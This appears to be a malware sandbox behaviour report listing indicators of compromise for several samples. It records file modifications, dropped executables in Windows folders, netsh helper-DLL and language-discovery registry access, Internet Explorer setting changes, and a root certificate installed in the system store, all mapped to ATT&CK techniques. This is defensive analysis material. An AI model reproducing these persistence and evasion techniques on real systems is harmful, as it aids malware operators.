File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-explorer_zh_CN.jar	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Windows Journal\en-US\JNTFiltr.dll.mui	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861240389.profile.gz	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Sort\AUTHOR.XSL	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0315580.JPG	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR34F.GIF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Cultures\OFFICE.ODF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Common Files\System\ado\msado27.tlb	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\en-US\css\cpu.css	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\sqlxmlx.rll	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.nl_ja_4.4.0.v20140623020002.jar	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\RTF_BOLD.GIF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\en-US\js\RSSFeeds.js	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\720x480icongraphic.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\bg_LightSpirit.gif	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\FrameworkList.xml	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\en-US\ieinstal.exe.mui	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\DataListIconImages.jpg	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\QP.XML	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\ja-JP\WMPMediaSharing.dll.mui	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.nl_zh_4.4.0.v20140623020002.jar	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightOrange\background.gif	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR1B.GIF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02417U.BMP	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui_5.5.0.165303.jar	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\en-US\gadget.xml	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\en-US\cpu.html	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\images\dial_lrg_sml.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\de-DE\css\currency.css	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_rainy.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground.wmv	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passportcover.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\CONTACTL.ICO	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\HAMMER.WAV	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\tile_bezel.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02740G.GIF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-new.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\tile16.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\system\dllhost.exe	73c1c41b9e71c48e752a5cd19fe808b6.exe
File created	C:\Windows\system\5940a34987c991	73c1c41b9e71c48e752a5cd19fe808b6.exe
File created	C:\Windows\1.txt	938b92958ded4d50a357d22eddf141ad.exe
File created	C:\Windows\xdwd.dll	Client.exe
File created	C:\Windows\1.txt	BTZ.exe
File created	C:\Windows\Resources\dwm.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Windows\Resources\6cb0b6c459d5d3	5e710462c65fe899466e4fb7c1e33c9a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3484	2648	WerFault.exe	32

System Location Discovery: System Language Discovery 1 TTPs 46 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Darkest Dungeon setub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gandcrab5.0.3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winhlp32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	クラック.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	see7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wowmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kosomk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	virus.jk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cbgsujmwws.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mountvol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	938b92958ded4d50a357d22eddf141ad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	evil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f1630df6b57af024a3b561bdadc208f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	evil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winhlp32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vbc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dicsord.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BTZ.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wermgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
2624	timeout.exe

Kills process with taskkill 1 IoCs

pid	Process
2208	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B8303020-6F3E-11EF-B557-C20DC8CB8E9E} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe

Modifies registry class 18 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2	938b92958ded4d50a357d22eddf141ad.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\CLSID\ = "{C96401CF-0E17-11D3-885B-00C04F72C717}"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\L = "500"	938b92958ded4d50a357d22eddf141ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\1\bin = 17143f56060656185e21461a071807120c1342271e08521b60116c5f537a5800421379	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\3	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\test = "0"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\MIGRATE = "0"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\PRC = "0"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\prot_test = "1"	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\1	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\2	938b92958ded4d50a357d22eddf141ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\2\bin = 17133a445b065703512f5944120d0b114d16186b060a065028523d5f5a731e5b1f512708195e4a175655497d194743	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\CLSID	938b92958ded4d50a357d22eddf141ad.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\ = "OCX"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\Http = "1"	938b92958ded4d50a357d22eddf141ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\3\bin = 17173843051a461e0333590106440d0d0e5143625743521269067e565365	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\PRM = "0"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Snapins.OCXSnapin.2\PRS = "0"	938b92958ded4d50a357d22eddf141ad.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80